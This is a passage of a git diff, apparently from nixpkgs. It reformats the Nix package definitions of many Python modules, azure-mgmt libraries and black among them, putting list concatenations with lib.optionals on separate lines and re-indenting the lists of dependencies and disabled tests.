+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-managementgroups/default.nix b/pkgs/development/python-modules/azure-mgmt-managementgroups/default.nix
index 52c5f380740a..45132e178448 100644
--- a/pkgs/development/python-modules/azure-mgmt-managementgroups/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-managementgroups/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-maps/default.nix b/pkgs/development/python-modules/azure-mgmt-maps/default.nix
index 2f7dbd1209a2..d4eb41d58de5 100644
--- a/pkgs/development/python-modules/azure-mgmt-maps/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-maps/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     azure-common
     azure-mgmt-core
     msrest
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   pythonNamespaces = [ "azure.mgmt" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-marketplaceordering/default.nix b/pkgs/development/python-modules/azure-mgmt-marketplaceordering/default.nix
index 4f2dd1ff04a1..eac997e7c718 100644
--- a/pkgs/development/python-modules/azure-mgmt-marketplaceordering/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-marketplaceordering/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-monitor/default.nix b/pkgs/development/python-modules/azure-mgmt-monitor/default.nix
index 1a75b23ccc85..6ce2643655de 100644
--- a/pkgs/development/python-modules/azure-mgmt-monitor/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-monitor/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     isodate
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   pythonNamespaces = [ "azure.mgmt" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-policyinsights/default.nix b/pkgs/development/python-modules/azure-mgmt-policyinsights/default.nix
index a7365e27bd8e..cb9642f45f87 100644
--- a/pkgs/development/python-modules/azure-mgmt-policyinsights/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-policyinsights/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     azure-mgmt-core
     msrest
     msrestazure
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-rdbms/default.nix b/pkgs/development/python-modules/azure-mgmt-rdbms/default.nix
index dc10601bb662..cd82f140007a 100644
--- a/pkgs/development/python-modules/azure-mgmt-rdbms/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-rdbms/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     azure-mgmt-core
     msrest
     msrestazure
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-recoveryservices/default.nix b/pkgs/development/python-modules/azure-mgmt-recoveryservices/default.nix
index 414fcce92ab1..314938116ddc 100644
--- a/pkgs/development/python-modules/azure-mgmt-recoveryservices/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-recoveryservices/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     azure-common
     azure-mgmt-core
     isodate
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-redis/default.nix b/pkgs/development/python-modules/azure-mgmt-redis/default.nix
index 4fe7c67670a4..cb8567f4183f 100644
--- a/pkgs/development/python-modules/azure-mgmt-redis/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-redis/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     isodate
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-reservations/default.nix b/pkgs/development/python-modules/azure-mgmt-reservations/default.nix
index d88fccddc20c..b37871080857 100644
--- a/pkgs/development/python-modules/azure-mgmt-reservations/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-reservations/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     msrest
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-search/default.nix b/pkgs/development/python-modules/azure-mgmt-search/default.nix
index ebdfda97592a..7a8b87c32bb6 100644
--- a/pkgs/development/python-modules/azure-mgmt-search/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-search/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     azure-common
     azure-mgmt-core
     isodate
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # Module has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-sql/default.nix b/pkgs/development/python-modules/azure-mgmt-sql/default.nix
index 83e45b54a9bb..ddf8cec9fcc0 100644
--- a/pkgs/development/python-modules/azure-mgmt-sql/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-sql/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-subscription/default.nix b/pkgs/development/python-modules/azure-mgmt-subscription/default.nix
index ad45a8015587..8c3836cf89f5 100644
--- a/pkgs/development/python-modules/azure-mgmt-subscription/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-subscription/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     azure-mgmt-core
     msrest
     msrestazure
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-trafficmanager/default.nix b/pkgs/development/python-modules/azure-mgmt-trafficmanager/default.nix
index acccaba91bff..de63f5430b2b 100644
--- a/pkgs/development/python-modules/azure-mgmt-trafficmanager/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-trafficmanager/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-storage-common/default.nix b/pkgs/development/python-modules/azure-storage-common/default.nix
index 7f5b602dad16..d426fb577a72 100644
--- a/pkgs/development/python-modules/azure-storage-common/default.nix
+++ b/pkgs/development/python-modules/azure-storage-common/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     cryptography
     python-dateutil
     requests
-  ] ++ lib.optional (!isPy3k) azure-storage-nspkg;
+  ]
+  ++ lib.optional (!isPy3k) azure-storage-nspkg;
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-storage-file/default.nix b/pkgs/development/python-modules/azure-storage-file/default.nix
index 97ad54fda704..b7f810b6f107 100644
--- a/pkgs/development/python-modules/azure-storage-file/default.nix
+++ b/pkgs/development/python-modules/azure-storage-file/default.nix
@@ -21,7 +21,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     azure-common
     azure-storage-common
-  ] ++ lib.optional (!isPy3k) futures;
+  ]
+  ++ lib.optional (!isPy3k) futures;
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/b2sdk/default.nix b/pkgs/development/python-modules/b2sdk/default.nix
index 997a842b92e6..3f8c6d3d083b 100644
--- a/pkgs/development/python-modules/b2sdk/default.nix
+++ b/pkgs/development/python-modules/b2sdk/default.nix
@@ -35,22 +35,22 @@ buildPythonPackage rec {
 
   build-system = [ pdm-backend ];
 
-  dependencies =
-    [
-      annotated-types
-      packaging
-      logfury
-      requests
-    ]
-    ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ]
-    ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
+  dependencies = [
+    annotated-types
+    packaging
+    logfury
+    requests
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ]
+  ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
 
   nativeCheckInputs = [
     pytest-lazy-fixtures
     pytest-mock
     pytestCheckHook
     tqdm
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ glibcLocales ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ glibcLocales ];
 
   disabledTestPaths = [
     # requires aws s3 auth
diff --git a/pkgs/development/python-modules/babel/default.nix b/pkgs/development/python-modules/babel/default.nix
index e8ee122cde0c..7d6bb52b5b63 100644
--- a/pkgs/development/python-modules/babel/default.nix
+++ b/pkgs/development/python-modules/babel/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     pytestCheckHook
     # https://github.com/python-babel/babel/issues/988#issuecomment-1521765563
     pytz
-  ] ++ lib.optionals isPyPy [ tzdata ];
+  ]
+  ++ lib.optionals isPyPy [ tzdata ];
 
   disabledTests = [
     # fails on days switching from and to daylight saving time in EST
diff --git a/pkgs/development/python-modules/bambi/default.nix b/pkgs/development/python-modules/bambi/default.nix
index 90b6aa66ff50..4eebf50381f1 100644
--- a/pkgs/development/python-modules/bambi/default.nix
+++ b/pkgs/development/python-modules/bambi/default.nix
@@ -62,53 +62,52 @@ buildPythonPackage rec {
     writableTmpDirAsHomeHook
   ];
 
-  disabledTests =
-    [
-      # AssertionError: assert (<xarray.DataArray 'yield' ()> Size: 1B\narray(False) & <xarray.DataArray 'yield' ()> Size: 1B\narray(False))
-      # https://github.com/bambinos/bambi/issues/888
-      "test_beta_regression"
+  disabledTests = [
+    # AssertionError: assert (<xarray.DataArray 'yield' ()> Size: 1B\narray(False) & <xarray.DataArray 'yield' ()> Size: 1B\narray(False))
+    # https://github.com/bambinos/bambi/issues/888
+    "test_beta_regression"
 
-      # Tests require network access
-      "test_alias_equal_to_name"
-      "test_average_by"
-      "test_ax"
-      "test_basic"
-      "test_censored_response"
-      "test_custom_prior"
-      "test_data_is_copied"
-      "test_distributional_model"
-      "test_elasticity"
-      "test_extra_namespace"
-      "test_fig_kwargs"
-      "test_gamma_with_splines"
-      "test_group_effects"
-      "test_hdi_prob"
-      "test_legend"
-      "test_model_with_group_specific_effects"
-      "test_model_with_intercept"
-      "test_model_without_intercept"
-      "test_non_distributional_model"
-      "test_normal_with_splines"
-      "test_predict_new_groups_fail"
-      "test_predict_new_groups"
-      "test_predict_offset"
-      "test_set_alias_warnings"
-      "test_subplot_kwargs"
-      "test_transforms"
-      "test_use_hdi"
-      "test_with_group_and_panel"
-      "test_with_groups"
-      "test_with_user_values"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # Python crash (in matplotlib)
-      # Fatal Python error: Aborted
-      "test_categorical_response"
-      "test_multiple_hsgp_and_by"
-      "test_multiple_outputs_with_alias"
-      "test_plot_priors"
-      "test_term_transformations"
-    ];
+    # Tests require network access
+    "test_alias_equal_to_name"
+    "test_average_by"
+    "test_ax"
+    "test_basic"
+    "test_censored_response"
+    "test_custom_prior"
+    "test_data_is_copied"
+    "test_distributional_model"
+    "test_elasticity"
+    "test_extra_namespace"
+    "test_fig_kwargs"
+    "test_gamma_with_splines"
+    "test_group_effects"
+    "test_hdi_prob"
+    "test_legend"
+    "test_model_with_group_specific_effects"
+    "test_model_with_intercept"
+    "test_model_without_intercept"
+    "test_non_distributional_model"
+    "test_normal_with_splines"
+    "test_predict_new_groups_fail"
+    "test_predict_new_groups"
+    "test_predict_offset"
+    "test_set_alias_warnings"
+    "test_subplot_kwargs"
+    "test_transforms"
+    "test_use_hdi"
+    "test_with_group_and_panel"
+    "test_with_groups"
+    "test_with_user_values"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # Python crash (in matplotlib)
+    # Fatal Python error: Aborted
+    "test_categorical_response"
+    "test_multiple_hsgp_and_by"
+    "test_multiple_outputs_with_alias"
+    "test_plot_priors"
+    "test_term_transformations"
+  ];
 
   disabledTestPaths = [
     # bayeux-ml is not available
diff --git a/pkgs/development/python-modules/banks/default.nix b/pkgs/development/python-modules/banks/default.nix
index 5f05da988c23..3a12c773456e 100644
--- a/pkgs/development/python-modules/banks/default.nix
+++ b/pkgs/development/python-modules/banks/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "banks" ];
 
diff --git a/pkgs/development/python-modules/basedmypy/default.nix b/pkgs/development/python-modules/basedmypy/default.nix
index 16bde590a3f7..47d305414edd 100644
--- a/pkgs/development/python-modules/basedmypy/default.nix
+++ b/pkgs/development/python-modules/basedmypy/default.nix
@@ -55,13 +55,15 @@ buildPythonPackage rec {
     types-psutil
     types-setuptools
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   dependencies = [
     basedtyping
     mypy-extensions
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   optional-dependencies = {
     dmypy = [ psutil ];
@@ -76,19 +78,18 @@ buildPythonPackage rec {
   # when testing reduce optimisation level to reduce build time by 20%
   env.MYPYC_OPT_LEVEL = 1;
 
-  pythonImportsCheck =
-    [
-      "mypy"
-      "mypy.api"
-      "mypy.fastparse"
-      "mypy.types"
-      "mypyc"
-      "mypyc.analysis"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isi686) [
-      # ImportError: cannot import name 'map_instance_to_supertype' from partially initialized module 'mypy.maptype' (most likely due to a circular import)
-      "mypy.report"
-    ];
+  pythonImportsCheck = [
+    "mypy"
+    "mypy.api"
+    "mypy.fastparse"
+    "mypy.types"
+    "mypyc"
+    "mypyc.analysis"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isi686) [
+    # ImportError: cannot import name 'map_instance_to_supertype' from partially initialized module 'mypy.maptype' (most likely due to a circular import)
+    "mypy.report"
+  ];
 
   nativeCheckInputs = [
     attrs
@@ -97,7 +98,8 @@ buildPythonPackage rec {
     pytestCheckHook
     setuptools
     tomli
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = lib.optionals (pythonAtLeast "3.12") [
     # cannot find distutils, and distutils cannot find types
@@ -105,20 +107,19 @@ buildPythonPackage rec {
     "test_c_unit_test"
   ];
 
-  disabledTestPaths =
-    [
-      # fails to find typing_extensions
-      "mypy/test/testcmdline.py"
-      "mypy/test/testdaemon.py"
-      # fails to find setuptools
-      "mypyc/test/test_commandline.py"
-      # fails to find hatchling
-      "mypy/test/testpep561.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isi686 [
-      # https://github.com/python/mypy/issues/15221
-      "mypyc/test/test_run.py"
-    ];
+  disabledTestPaths = [
+    # fails to find typing_extensions
+    "mypy/test/testcmdline.py"
+    "mypy/test/testdaemon.py"
+    # fails to find setuptools
+    "mypyc/test/test_commandline.py"
+    # fails to find hatchling
+    "mypy/test/testpep561.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isi686 [
+    # https://github.com/python/mypy/issues/15221
+    "mypyc/test/test_run.py"
+  ];
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/development/python-modules/bc-detect-secrets/default.nix b/pkgs/development/python-modules/bc-detect-secrets/default.nix
index d5b47d86b6d9..dee1cc800eaa 100644
--- a/pkgs/development/python-modules/bc-detect-secrets/default.nix
+++ b/pkgs/development/python-modules/bc-detect-secrets/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     pkgs.gitMinimal
     pytestCheckHook
     responses
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$(mktemp -d);
diff --git a/pkgs/development/python-modules/beaker/default.nix b/pkgs/development/python-modules/beaker/default.nix
index 2bfc919ecb5f..5903518a6a7d 100644
--- a/pkgs/development/python-modules/beaker/default.nix
+++ b/pkgs/development/python-modules/beaker/default.nix
@@ -34,16 +34,15 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      sqlalchemy
-      pycrypto
-      cryptography
-    ]
-    ++ lib.optionals (isPy27) [
-      funcsigs
-      pycryptopp
-    ];
+  dependencies = [
+    sqlalchemy
+    pycrypto
+    cryptography
+  ]
+  ++ lib.optionals (isPy27) [
+    funcsigs
+    pycryptopp
+  ];
 
   nativeCheckInputs = [
     glibcLocales
diff --git a/pkgs/development/python-modules/beanhub-cli/default.nix b/pkgs/development/python-modules/beanhub-cli/default.nix
index a5f907098e8e..c9a1f7abe3c8 100644
--- a/pkgs/development/python-modules/beanhub-cli/default.nix
+++ b/pkgs/development/python-modules/beanhub-cli/default.nix
@@ -71,7 +71,8 @@ buildPythonPackage rec {
     rich
     starlette-wtf
     uvicorn
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   optional-dependencies = {
     login = [
@@ -97,7 +98,8 @@ buildPythonPackage rec {
     pytest-httpx
     pytest-mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "beanhub_cli" ];
 
diff --git a/pkgs/development/python-modules/beartype/default.nix b/pkgs/development/python-modules/beartype/default.nix
index 553166812192..2873b74ba566 100644
--- a/pkgs/development/python-modules/beartype/default.nix
+++ b/pkgs/development/python-modules/beartype/default.nix
@@ -29,15 +29,14 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "beartype" ];
 
-  disabledTests =
-    [
-      # No warnings of type (<class 'beartype.roar._roarwarn.BeartypeValeLambdaWarning'>,) were emitted.
-      "test_is_hint_pep593_beartype"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # this test is not run upstream, and broke in 3.13 (_nparams removed)
-      "test_door_is_subhint"
-    ];
+  disabledTests = [
+    # No warnings of type (<class 'beartype.roar._roarwarn.BeartypeValeLambdaWarning'>,) were emitted.
+    "test_is_hint_pep593_beartype"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # this test is not run upstream, and broke in 3.13 (_nparams removed)
+    "test_door_is_subhint"
+  ];
 
   meta = {
     description = "Fast runtime type checking for Python";
diff --git a/pkgs/development/python-modules/beautifulsoup4/default.nix b/pkgs/development/python-modules/beautifulsoup4/default.nix
index 9f086ed11b27..485cd963af18 100644
--- a/pkgs/development/python-modules/beautifulsoup4/default.nix
+++ b/pkgs/development/python-modules/beautifulsoup4/default.nix
@@ -63,7 +63,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = [
     # fail with latest libxml, by not actually rejecting
diff --git a/pkgs/development/python-modules/bellows/default.nix b/pkgs/development/python-modules/bellows/default.nix
index 97a1acc1f1f6..1b1ab2831247 100644
--- a/pkgs/development/python-modules/bellows/default.nix
+++ b/pkgs/development/python-modules/bellows/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     click-log
     voluptuous
     zigpy
-  ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/bentoml/default.nix b/pkgs/development/python-modules/bentoml/default.nix
index 5e5f868b6bf6..57bbfbf1e6c1 100644
--- a/pkgs/development/python-modules/bentoml/default.nix
+++ b/pkgs/development/python-modules/bentoml/default.nix
@@ -112,11 +112,12 @@ let
       tracing-otlp
       tracing
       ;
-    triton =
-      [ tritonclient ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux (
-        tritonclient.optional-dependencies.http ++ tritonclient.optional-dependencies.grpc
-      );
+    triton = [
+      tritonclient
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux (
+      tritonclient.optional-dependencies.http ++ tritonclient.optional-dependencies.grpc
+    );
   };
 
   src = fetchFromGitHub {
@@ -191,7 +192,8 @@ buildPythonPackage {
     uv
     uvicorn
     watchfiles
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   inherit optional-dependencies;
 
@@ -224,7 +226,8 @@ buildPythonPackage {
     pytest-xdist
     pytestCheckHook
     scikit-learn
-  ] ++ optional-dependencies.grpc;
+  ]
+  ++ optional-dependencies.grpc;
 
   meta = with lib; {
     description = "Build Production-Grade AI Applications";
diff --git a/pkgs/development/python-modules/betterproto/default.nix b/pkgs/development/python-modules/betterproto/default.nix
index 5dc412400f05..bf759e8f1f58 100644
--- a/pkgs/development/python-modules/betterproto/default.nix
+++ b/pkgs/development/python-modules/betterproto/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
     pytest-mock
     pytest7CheckHook
     tomlkit
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "betterproto" ];
 
diff --git a/pkgs/development/python-modules/bimmer-connected/default.nix b/pkgs/development/python-modules/bimmer-connected/default.nix
index c9dde5e3ede0..8f099b273ac7 100644
--- a/pkgs/development/python-modules/bimmer-connected/default.nix
+++ b/pkgs/development/python-modules/bimmer-connected/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     pytestCheckHook
     respx
     time-machine
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     # presumably regressed in pytest-asyncio 0.23.0
diff --git a/pkgs/development/python-modules/biosppy/default.nix b/pkgs/development/python-modules/biosppy/default.nix
index 0e739754692c..b47e9efba4b2 100644
--- a/pkgs/development/python-modules/biosppy/default.nix
+++ b/pkgs/development/python-modules/biosppy/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     joblib
     pywavelets
     mock
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ tkinter ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ tkinter ];
 
   doCheck = false; # no tests
 
diff --git a/pkgs/development/python-modules/black/default.nix b/pkgs/development/python-modules/black/default.nix
index 37c8e876fa62..24c37304e1d8 100644
--- a/pkgs/development/python-modules/black/default.nix
+++ b/pkgs/development/python-modules/black/default.nix
@@ -41,18 +41,17 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  propagatedBuildInputs =
-    [
-      click
-      mypy-extensions
-      packaging
-      pathspec
-      platformdirs
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      tomli
-      typing-extensions
-    ];
+  propagatedBuildInputs = [
+    click
+    mypy-extensions
+    packaging
+    pathspec
+    platformdirs
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    tomli
+    typing-extensions
+  ];
 
   optional-dependencies = {
     colorama = [ colorama ];
@@ -71,41 +70,40 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     parameterized
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "-W"
     "ignore::DeprecationWarning"
   ];
 
-  preCheck =
-    ''
-      export PATH="$PATH:$out/bin"
+  preCheck = ''
+    export PATH="$PATH:$out/bin"
 
-      # The top directory /build matches black's DEFAULT_EXCLUDE regex.
-      # Make /build the project root for black tests to avoid excluding files.
-      touch ../.git
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Work around https://github.com/psf/black/issues/2105
-      export TMPDIR="/tmp"
-    '';
+    # The top directory /build matches black's DEFAULT_EXCLUDE regex.
+    # Make /build the project root for black tests to avoid excluding files.
+    touch ../.git
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Work around https://github.com/psf/black/issues/2105
+    export TMPDIR="/tmp"
+  '';
 
-  disabledTests =
-    [
-      # requires network access
-      "test_gen_check_output"
-      # broken on Python 3.13.4
-      # FIXME: remove this when fixed upstream
-      "test_simple_format[pep_701]"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fails on darwin
-      "test_expression_diff"
-      # Fail on Hydra, see https://github.com/NixOS/nixpkgs/pull/130785
-      "test_bpo_2142_workaround"
-      "test_skip_magic_trailing_comma"
-    ];
+  disabledTests = [
+    # requires network access
+    "test_gen_check_output"
+    # broken on Python 3.13.4
+    # FIXME: remove this when fixed upstream
+    "test_simple_format[pep_701]"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fails on darwin
+    "test_expression_diff"
+    # Fail on Hydra, see https://github.com/NixOS/nixpkgs/pull/130785
+    "test_bpo_2142_workaround"
+    "test_skip_magic_trailing_comma"
+  ];
   # multiple tests exceed max open files on hydra builders
   doCheck = !(stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64);
 
diff --git a/pkgs/development/python-modules/blackjax/default.nix b/pkgs/development/python-modules/blackjax/default.nix
index 7228669a13f9..3552fca0f841 100644
--- a/pkgs/development/python-modules/blackjax/default.nix
+++ b/pkgs/development/python-modules/blackjax/default.nix
@@ -62,27 +62,26 @@ buildPythonPackage rec {
     "tests/mcmc/test_integrators.py"
   ];
 
-  disabledTests =
-    [
-      # too slow
-      "test_adaptive_tempered_smc"
+  disabledTests = [
+    # too slow
+    "test_adaptive_tempered_smc"
 
-      # AssertionError on numerical values
-      "test_barker"
-      "test_mclmc"
-      "test_mcse4"
-      "test_normal_univariate"
-      "test_nuts__with_device"
-      "test_nuts__with_jit"
-      "test_nuts__without_device"
-      "test_nuts__without_jit"
-      "test_smc_waste_free__with_jit"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # Numerical test (AssertionError)
-      # https://github.com/blackjax-devs/blackjax/issues/668
-      "test_chees_adaptation"
-    ];
+    # AssertionError on numerical values
+    "test_barker"
+    "test_mclmc"
+    "test_mcse4"
+    "test_normal_univariate"
+    "test_nuts__with_device"
+    "test_nuts__with_jit"
+    "test_nuts__without_device"
+    "test_nuts__without_jit"
+    "test_smc_waste_free__with_jit"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # Numerical test (AssertionError)
+    # https://github.com/blackjax-devs/blackjax/issues/668
+    "test_chees_adaptation"
+  ];
 
   pythonImportsCheck = [ "blackjax" ];
 
diff --git a/pkgs/development/python-modules/blocksat-cli/default.nix b/pkgs/development/python-modules/blocksat-cli/default.nix
index 3646a9d7124a..ef15124e548a 100644
--- a/pkgs/development/python-modules/blocksat-cli/default.nix
+++ b/pkgs/development/python-modules/blocksat-cli/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     python-gnupg
     qrcode
     requests
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ pyasyncore ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ pyasyncore ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/blosc2/default.nix b/pkgs/development/python-modules/blosc2/default.nix
index 51735dada490..3b60ae942df1 100644
--- a/pkgs/development/python-modules/blosc2/default.nix
+++ b/pkgs/development/python-modules/blosc2/default.nix
@@ -72,7 +72,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     psutil
     pytestCheckHook
-  ] ++ lib.optionals runTorchTests [ torch ];
